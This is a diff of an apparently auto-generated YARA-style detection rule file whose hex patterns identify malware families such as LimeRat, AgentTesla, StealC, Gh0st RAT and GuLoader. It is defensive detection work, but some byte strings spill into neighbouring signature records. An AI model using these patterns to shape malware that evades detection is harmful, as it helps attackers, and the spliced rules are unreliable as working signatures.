-58434,7 +61084,7 @@ rule _InfrastructureShared_5638{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5639{ +rule _InfrastructureShared_5896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58444,7 +61094,17 @@ rule _InfrastructureShared_5639{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5640{ +rule _InfrastructureShared_5897{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 69 6d 65 52 61 74 2e 41 52 47 21 4d 54 42 00 01 00 35 03 07 07 16 1a 07 14 13 1a 12 1a 11 08 11 0d 28 90 01 01 00 00 06 26 11 04 02 11 04 1f 3c d6 6a 1a 6a 6f 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58454,7 +61114,7 @@ rule _InfrastructureShared_5640{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5641{ +rule _InfrastructureShared_5899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58464,7 +61124,7 @@ rule _InfrastructureShared_5641{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5642{ +rule _InfrastructureShared_5900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58474,7 +61134,7 @@ rule _InfrastructureShared_5642{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5643{ +rule _InfrastructureShared_5901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58484,7 +61144,7 @@ rule _InfrastructureShared_5643{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5644{ +rule _InfrastructureShared_5902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58495,7 +61155,7 @@ rule _InfrastructureShared_5644{ ((#a_46_0 & 1)*16675+(#a_f1_1 & 1)*433) >=1 } -rule _InfrastructureShared_5645{ +rule _InfrastructureShared_5903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58506,7 +61166,7 @@ rule _InfrastructureShared_5645{ ((#a_46_0 & 1)*16675+(#a_9b_1 & 1)*30774) >=1 } -rule _InfrastructureShared_5646{ +rule _InfrastructureShared_5904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58517,7 +61177,7 @@ rule _InfrastructureShared_5646{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*656) >=1 } -rule _InfrastructureShared_5647{ +rule _InfrastructureShared_5905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58527,7 +61187,7 @@ rule _InfrastructureShared_5647{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5648{ +rule _InfrastructureShared_5906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58537,7 +61197,7 @@ rule _InfrastructureShared_5648{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5649{ +rule _InfrastructureShared_5907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58548,7 +61208,7 @@ rule _InfrastructureShared_5649{ ((#a_77_0 & 1)*19491+(#a_32_1 & 1)*28265) >=1 } -rule _InfrastructureShared_5650{ +rule _InfrastructureShared_5908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58559,7 +61219,7 @@ rule _InfrastructureShared_5650{ ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*25455) >=1 } -rule _InfrastructureShared_5651{ +rule _InfrastructureShared_5909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58570,7 +61230,7 @@ rule _InfrastructureShared_5651{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*27765) >=1 } -rule _InfrastructureShared_5652{ +rule _InfrastructureShared_5910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -58581,7 +61241,7 @@ rule _InfrastructureShared_5652{ ((#a_5f_0 & 1)*25635+(#a_72_1 & 1)*13176) >=1 } -rule _InfrastructureShared_5653{ +rule _InfrastructureShared_5911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -58591,7 +61251,7 @@ rule _InfrastructureShared_5653{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5654{ +rule _InfrastructureShared_5912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -58601,7 +61261,7 @@ rule _InfrastructureShared_5654{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5655{ +rule _InfrastructureShared_5913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -58611,7 +61271,7 @@ rule _InfrastructureShared_5655{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5656{ +rule _InfrastructureShared_5914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -58623,40 +61283,20 @@ rule _InfrastructureShared_5656{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*1+(#a_48_4 & 1)*8448) >=1 } -rule _InfrastructureShared_5657{ +rule _InfrastructureShared_5915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 41 46 33 00 01 00 06 01 81 c0 cc 05 00 00 01 00 06 01 81 c1 cc 05 00 00 01 00 06 01 81 c2 cc 05 00 00 01 00 06 01 81 c3 cc 05 00 00 01 00 06 01 81 c6 cc 05 00 00 01 00 06 01 81 c7 cc 05 } //18467 - $a_00_3 = {01 00 } //2 - $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6e 64 72 6f 6d 2e 53 45 42 21 4d 54 42 00 02 00 36 01 5f 62 60 20 b4 d5 fd 61 59 20 ca a9 00 00 20 ab a9 00 00 59 5f 64 60 72 24 06 00 70 a2 28 17 00 00 } //8993 - $a_00_5 = {00 02 28 } //-12278 + $a_00_3 = {02 00 } //2 + $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 39 30 21 4d 54 42 00 01 00 21 03 8e 69 5d 91 02 90 01 01 91 61 d2 6f 90 01 03 0a 90 1b 00 17 58 90 01 01 90 } //8993 + $a_8e_5 = {32 90 } //27 condition: - ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*2+(#a_4c_4 & 1)*8993+(#a_00_5 & 1)*-12278) >=1 + ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*2+(#a_4c_4 & 1)*8993+(#a_8e_5 & 1)*27) >=1 } -rule _InfrastructureShared_5658{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6e 64 72 6f 6d 2e 53 45 42 21 4d 54 42 00 02 00 36 01 5f 62 60 20 b4 d5 fd 61 59 20 ca a9 00 00 20 ab a9 00 00 59 5f 64 60 72 24 06 00 70 a2 28 17 00 00 0a d0 03 00 00 02 28 14 00 00 0a 6f } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_5659{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 42 41 43 21 4d 54 42 00 02 00 37 01 03 11 04 6f 4e 01 00 0a 04 11 04 6f 4e 01 00 0a fe 01 16 fe 01 13 05 11 05 2c 02 2b 1a 08 03 11 04 6f 4e 01 00 0a 6f af 02 00 0a 26 11 04 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_5660{ +rule _InfrastructureShared_5916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58667,7 +61307,7 @@ rule _InfrastructureShared_5660{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18177) >=2 } -rule _InfrastructureShared_5661{ +rule _InfrastructureShared_5917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58678,7 +61318,7 @@ rule _InfrastructureShared_5661{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25197) >=2 } -rule _InfrastructureShared_5662{ +rule _InfrastructureShared_5918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58689,7 +61329,7 @@ rule _InfrastructureShared_5662{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25197) >=2 } -rule _InfrastructureShared_5663{ +rule _InfrastructureShared_5919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58700,7 +61340,7 @@ rule _InfrastructureShared_5663{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25197) >=2 } -rule _InfrastructureShared_5664{ +rule _InfrastructureShared_5920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58711,7 +61351,7 @@ rule _InfrastructureShared_5664{ ((#a_46_0 & 1)*16675+(#a_da_1 & 1)*23058) >=2 } -rule _InfrastructureShared_5665{ +rule _InfrastructureShared_5921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58721,7 +61361,17 @@ rule _InfrastructureShared_5665{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5666{ +rule _InfrastructureShared_5922{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 41 4f 30 31 21 4d 54 42 00 01 00 17 81 01 63 6f 63 63 69 6e 65 6c 6c 69 64 61 65 20 62 61 74 74 65 6d 65 6e 74 01 00 13 81 01 6d 69 6c 6c 69 6d 68 6f 73 20 61 73 69 64 65 2e 65 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_5923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58731,7 +61381,7 @@ rule _InfrastructureShared_5666{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5667{ +rule _InfrastructureShared_5924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -58741,18 +61391,40 @@ rule _InfrastructureShared_5667{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5668{ +rule _InfrastructureShared_5925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_77_0 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6c 75 72 65 6f 6e 2e 47 43 00 01 00 14 03 83 c6 11 2b 90 01 03 40 00 83 ee 7b 89 90 01 03 40 00 90 00 01 00 22 03 85 c0 74 28 53 e8 90 01 02 ff ff 85 c0 74 1e 53 e8 90 01 02 ff ff 83 f8 09 75 13 8d 45 f0 50 53 90 00 00 00 78 63 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 6f 66 } //19491 - $a_72_1 = {42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 41 6d 6f 6e 65 74 69 7a 65 70 79 21 62 69 74 00 01 00 0a 01 0f be c0 0f be 80 c8 f3 45 00 01 00 0a 01 0f be d2 0f be ba c8 f3 45 00 01 00 0a 01 0f be d2 0f be 92 c8 f3 45 00 00 00 78 63 00 00 02 00 02 00 03 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 42 } //30580 + $a_77_0 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6c 75 72 65 6f 6e 2e 47 43 00 01 00 14 03 83 c6 11 2b 90 01 03 40 00 83 ee 7b 89 90 01 03 40 00 90 00 01 00 22 03 85 c0 74 28 53 e8 90 01 02 ff ff 85 c0 74 1e 53 e8 90 01 02 ff ff 83 f8 09 75 13 8d 45 f0 50 53 90 00 00 00 78 63 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //19491 + $a_32_1 = {43 68 43 68 65 73 2e 47 56 41 21 4d 54 42 00 02 00 20 01 8b f0 8b 44 24 08 83 c4 04 33 c9 85 f6 7e 11 8a 14 01 80 ea 24 80 f2 25 88 14 01 41 3b ce 7c ef } //28265 condition: - ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*30580) >=2 + ((#a_77_0 & 1)*19491+(#a_32_1 & 1)*28265) >=2 } -rule _InfrastructureShared_5669{ +rule _InfrastructureShared_5926{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 68 43 68 65 73 2e 47 56 41 21 4d 54 42 00 02 00 20 01 8b f0 8b 44 24 08 83 c4 04 33 c9 85 f6 7e 11 8a 14 01 80 ea 24 80 f2 25 88 14 01 41 3b ce 7c ef 02 00 11 01 8a } //21539 + $a_ea_1 = {80 f2 25 88 14 31 41 3b c8 7c ef 00 00 78 63 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 54 48 21 4d 54 42 00 01 00 0d 03 8b 31 83 c1 90 01 01 33 c6 4a 75 90 00 01 00 25 03 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 90 01 01 a9 90 01 04 74 90 01 01 8b 41 90 01 01 84 c0 74 90 00 00 00 78 63 00 00 02 00 02 00 03 00 21 23 } //12564 + condition: + ((#a_4c_0 & 1)*21539+(#a_ea_1 & 1)*12564) >=2 + +} +rule _InfrastructureShared_5927{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 54 48 21 4d 54 42 00 01 00 0d 03 8b 31 83 c1 90 01 01 33 c6 4a 75 90 00 01 00 25 03 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 90 01 01 a9 90 } //21539 + $a_90_1 = {01 8b 41 90 01 01 84 c0 74 90 00 00 00 78 63 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 41 6d 6f 6e 65 74 69 7a 65 70 79 21 62 69 74 00 01 00 0a 01 0f be c0 0f be 80 c8 f3 45 00 01 00 0a 01 0f be d2 0f be ba c8 f3 45 00 01 00 0a 01 0f be d2 0f be 92 c8 f3 45 00 00 00 } //1025 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1025) >=2 + +} +rule _InfrastructureShared_5928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -58764,7 +61436,7 @@ rule _InfrastructureShared_5669{ ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*-11586+(#a_42_2 & 1)*8448) >=2 } -rule _InfrastructureShared_5670{ +rule _InfrastructureShared_5929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -58776,7 +61448,7 @@ rule _InfrastructureShared_5670{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*46+(#a_ff_2 & 1)*513) >=2 } -rule _InfrastructureShared_5671{ +rule _InfrastructureShared_5930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58788,7 +61460,7 @@ rule _InfrastructureShared_5671{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-31473+(#a_32_2 & 1)*24931) >=3 } -rule _InfrastructureShared_5672{ +rule _InfrastructureShared_5931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58800,7 +61472,7 @@ rule _InfrastructureShared_5672{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*12856+(#a_4b_2 & 1)*25970) >=3 } -rule _InfrastructureShared_5673{ +rule _InfrastructureShared_5932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58812,7 +61484,7 @@ rule _InfrastructureShared_5673{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25970+(#a_61_2 & 1)*31329) >=3 } -rule _InfrastructureShared_5674{ +rule _InfrastructureShared_5933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58822,7 +61494,7 @@ rule _InfrastructureShared_5674{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5675{ +rule _InfrastructureShared_5934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58832,7 +61504,7 @@ rule _InfrastructureShared_5675{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5676{ +rule _InfrastructureShared_5935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58842,19 +61514,7 @@ rule _InfrastructureShared_5676{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5677{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_41_0 = {4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 53 6f 66 74 6f 6e 69 63 00 01 00 0c 01 53 6f 66 74 6f 6e 69 63 5f 44 4c 4d 01 00 0d 01 53 6f 66 74 6f 6e 69 63 5f 33 63 70 70 01 00 1b 01 72 69 73 65 2d 70 6c 61 74 66 6f 72 6d 73 2e 63 6f 6d 2f 70 72 69 76 61 63 79 2f } //20515 - $a_63_1 = {00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 24 01 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 25 73 01 00 05 00 00 48 41 43 4b 01 00 0b 00 6e 65 74 73 76 63 73 5f 30 78 25 00 00 78 63 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 43 6f 6e 73 } //0 - $a_63_2 = {6f 72 3a 57 69 6e 33 32 2f 47 68 30 73 74 2e 41 21 52 41 54 00 01 00 05 00 67 68 30 73 74 01 00 08 01 48 61 63 6b 2e 49 4e 49 01 00 0f 01 62 61 6c 6c 31 2e 79 73 31 36 38 2e 63 6f 6d 01 00 0b 00 00 51 51 57 72 79 2e 44 61 74 00 00 00 78 63 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 56 69 72 75 73 2f 56 69 72 6c 6f 63 6b 2e 50 41 47 45 21 4d 54 42 00 } //29300 - condition: - ((#a_41_0 & 1)*20515+(#a_63_1 & 1)*0+(#a_63_2 & 1)*29300) >=3 - -} -rule _InfrastructureShared_5678{ +rule _InfrastructureShared_5936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -58866,7 +61526,7 @@ rule _InfrastructureShared_5678{ ((#a_5f_0 & 1)*25635+(#a_3a_1 & 1)*28532+(#a_ba_2 & 1)*14848) >=3 } -rule _InfrastructureShared_5679{ +rule _InfrastructureShared_5937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -58878,7 +61538,7 @@ rule _InfrastructureShared_5679{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*22353+(#a_41_3 & 1)*8448) >=3 } -rule _InfrastructureShared_5680{ +rule _InfrastructureShared_5938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -58888,7 +61548,7 @@ rule _InfrastructureShared_5680{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_5681{ +rule _InfrastructureShared_5939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -58899,7 +61559,18 @@ rule _InfrastructureShared_5681{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*400) >=4 } -rule _InfrastructureShared_5682{ +rule _InfrastructureShared_5940{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 49 6e 6a 65 63 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0b 01 11 09 6a 58 11 0b 1a 5a 6a 58 28 02 00 1c 03 11 06 58 13 0d 0f 00 28 90 01 03 0a 11 08 6a 58 1a 11 0d } //16675 + $a_5a_1 = {58 28 90 00 00 00 78 63 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 44 52 50 72 69 73 6f 6e 2e 41 00 03 00 09 80 01 45 44 52 50 72 69 73 6f 6e 01 00 0b 80 01 4d 73 4d 70 45 6e 67 2e 65 78 65 01 00 0b 80 01 4d 73 53 65 6e 73 65 } //1553 + condition: + ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*1553) >=4 + +} +rule _InfrastructureShared_5941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58910,7 +61581,7 @@ rule _InfrastructureShared_5682{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26999) >=4 } -rule _InfrastructureShared_5683{ +rule _InfrastructureShared_5942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58922,7 +61593,7 @@ rule _InfrastructureShared_5683{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22132+(#a_75_2 & 1)*400) >=4 } -rule _InfrastructureShared_5684{ +rule _InfrastructureShared_5943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58933,7 +61604,7 @@ rule _InfrastructureShared_5684{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_5685{ +rule _InfrastructureShared_5944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58944,7 +61615,7 @@ rule _InfrastructureShared_5685{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_5686{ +rule _InfrastructureShared_5945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58955,7 +61626,7 @@ rule _InfrastructureShared_5686{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_5687{ +rule _InfrastructureShared_5946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58966,7 +61637,7 @@ rule _InfrastructureShared_5687{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_5688{ +rule _InfrastructureShared_5947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -58977,7 +61648,7 @@ rule _InfrastructureShared_5688{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*5) >=4 } -rule _InfrastructureShared_5689{ +rule _InfrastructureShared_5948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -58987,7 +61658,7 @@ rule _InfrastructureShared_5689{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5690{ +rule _InfrastructureShared_5949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -58997,7 +61668,7 @@ rule _InfrastructureShared_5690{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_5691{ +rule _InfrastructureShared_5950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -59007,7 +61678,7 @@ rule _InfrastructureShared_5691{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_5692{ +rule _InfrastructureShared_5951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -59018,12 +61689,12 @@ rule _InfrastructureShared_5692{ $a_6d_5 = {4d } //6400 M $a_4b_6 = {67 6c 76 54 51 41 41 43 67 5a 76 54 77 41 41 43 68 03 00 1a 01 41 43 67 6f 67 41 41 45 41 41 49 31 52 41 41 41 42 43 77 4d 73 43 51 63 66 45 00 00 78 63 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a } //16705 $a_6a_7 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4d 48 21 4d 54 42 00 0a 00 32 03 25 16 09 20 36 a3 00 00 d6 8c 90 01 01 00 00 01 a2 14 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 00 09 17 d6 0d 09 08 31 d0 90 00 00 00 78 63 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 } //29268 - $a_69_8 = {65 2e 4e 45 41 48 21 4d 54 42 00 0a 00 34 01 0a 05 06 81 31 00 00 01 05 71 31 00 00 01 6f 43 00 00 0a 25 26 05 71 31 00 00 01 6f 44 00 00 0a 20 00 01 00 00 14 14 14 6f 45 00 00 0a 25 26 26 02 17 54 2a 00 00 78 63 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 54 59 } //25701 + $a_69_8 = {65 2e 4e 45 41 48 21 4d 54 42 00 0a 00 34 01 0a 05 06 81 31 00 00 01 05 71 31 00 00 01 6f 43 00 00 0a 25 26 05 71 31 00 00 01 6f 44 00 00 0a 20 00 01 00 00 14 14 14 6f 45 00 00 0a 25 26 26 02 17 54 2a 00 00 78 63 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 6f 77 6e 52 } //25701 condition: ((#a_46_0 & 1)*16675+(#a_e0_2 & 1)*-10239+(#a_61_3 & 1)*24434+(#a_6d_5 & 1)*6400+(#a_4b_6 & 1)*16705+(#a_6a_7 & 1)*29268+(#a_69_8 & 1)*25701) >=5 } -rule _InfrastructureShared_5693{ +rule _InfrastructureShared_5952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -59034,7 +61705,7 @@ rule _InfrastructureShared_5693{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28626) >=6 } -rule _InfrastructureShared_5694{ +rule _InfrastructureShared_5953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -59047,7 +61718,7 @@ rule _InfrastructureShared_5694{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*7+(#a_6f_4 & 1)*21562+(#a_65_5 & 1)*29806) >=6 } -rule _InfrastructureShared_5695{ +rule _InfrastructureShared_5954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -59058,7 +61729,7 @@ rule 